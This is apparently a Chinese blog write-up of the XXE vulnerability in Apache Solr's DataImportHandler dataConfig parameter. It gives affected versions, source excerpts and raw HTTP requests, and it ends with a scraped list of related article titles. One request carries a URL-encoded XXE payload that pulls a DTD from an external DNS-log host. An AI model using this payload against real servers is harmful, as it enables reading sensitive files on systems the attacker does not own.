0x01 背景介绍

DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到MySQL等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。

在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。

漏洞影响版本:

  1. Solr 1.2 to 6.6.2
  2. Solr 7.0.0 to 7.2.1

0x02 漏洞测试

1、打开Solr Admin控制台;

2、选择创建好的core,然后点击DataImport功能;

3、点击”Execute”的时候,进行抓包,可以获取Dataimport的具体请求。

也可以直接访问功能入口Url:

http://www.hxxh.com/solr/#/corename/dataimport

以solr 6.0.1为例,抓包获取的测试请求如下:

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.133.214.178:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.hxxh.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.hxxh.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest

默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。

非默认参数的相关代码片段:

package org.apache.solr.handler.dataimport;
......
public class RequestInfo {
  private final String command;
  private final boolean debug; 
  private final boolean syncMode;
  private final boolean commit;
  private final boolean optimize;
  ......
  private final String configFile;
  private final String dataConfig;
  public RequestInfo(SolrQueryRequest request, Map<String,Object> requestParams, ContentStream stream) {
   
  ......
   
    String dataConfigParam = (String) requestParams.get("dataConfig");
    if (dataConfigParam != null && dataConfigParam.trim().length() == 0) {
      //如果dataConfig参数的值为空,将该参数置为null
      dataConfigParam = null;
    }
    dataConfig = dataConfigParam;
     
 ......
  
   public String getDataConfig() {
    return dataConfig;
  }
   
 ......
  
}

使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.133.214.178:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.hxxh.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图:

Solr DIH dataConfig参数XXE漏洞相关推荐

  1. XXE漏洞检测及代码执行过程

    这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存 ...

  2. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  3. 1016.XXE漏洞攻防学习

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

  4. 基于Solr DIH实现MySQL表数据全量索引和增量索引

    实现MySQL表数据全量索引和增量索引,基于Solr DIH组件实现起来比较简单,只需要重复使用Solr的DIH(Data Import Handler)组件,对data-config.xml进行简单 ...

  5. java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见

    作者:激越王 预估稿费:400RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 你是否听说过xml注入攻击呢,或者对它只知其一不知其二呢? 现在让我们从xml相关基础知识开 ...

  6. XXE漏洞利用技巧(XML注入):从XML到远程代码执行

    目录 什么是XXE 基本利用 Blind OOB XXE 场景1 - 端口扫描 场景2 - 通过DTD窃取文件 场景3 - 远程代码执行 场景4 - 钓鱼 场景4 - HTTP 内网主机探测 场景5  ...

  7. windows文件读取 xxe_java xxe漏洞

    一.XXE漏洞简介 1.XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件.探测内网端口.攻击内 ...

  8. XXE漏洞攻击与防御

    转自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言 ...

  9. 【XXE】XXE漏洞攻击与防御

    0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言. ...

最新文章

  1. szu 寒训第二天 树状数组 二维树状数组详解,以及树状数组扩展应用【求逆序对,以及动态第k小数】
  2. The only supported ciphers are AES-128-CBC and AES-256-CBC
  3. python Django之Web框架本质 (2)
  4. php框架加滑动条,IOS_iOS实现双向滑动条效果,最近做项目,碰到一种双向滑 - phpStudy...
  5. 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础
  6. c fscanf 按行读取文件_语言 文件 看这一篇就够了
  7. apache字体文件跨域_在CabloyJS中将Webpack生成的文件自动上传到阿里云OSS
  8. Linux开发:error: ‘clockid_t’ has not been declared
  9. java计算-5%3_JAVA基础教程day03--运算符
  10. jQuery实现留言板案例
  11. 离散考试题计算机,离散数学试题及答案_离散数学试题库_离散数学试卷及答案...
  12. plc应用与c语言编程区别,PLC编程与应用入门基础知识
  13. 项目管理java_java项目管理经验总结
  14. VM虚拟机安装苹果雪豹操作系统
  15. I2C-两线外设接口-用于ArduinoNano, uno ,Mega2560
  16. mysql建库、建表命令、sql语句大全
  17. 入门级运动蓝牙耳机之好评之王!
  18. Linux E514: write error (file system full?)错误
  19. 网站代理是什么?有什么需要注意的?
  20. 购买或者租用服务器注意项

热门文章

  1. es(Elasticsearch)客户端Elasticsearch-head安装使用(04Elasticsearch-head安装篇)
  2. 三种编程规则:驼峰命名法、帕斯卡命名法、匈牙利名
  3. 生产者消费者模型的作用
  4. 【记录】Nginx开源版安装与部署
  5. VisualSVN Server 安装等
  6. eclipse启动很慢调优
  7. 升级到Android12后Termux不能访问Android/data目录该怎么办
  8. Debug和release版本区别 原码反码补码的转换及存储
  9. 使用Spring Environment遇到的问题, 如读取到配置不是自己实际想要的
  10. CTSC 2018 简要题解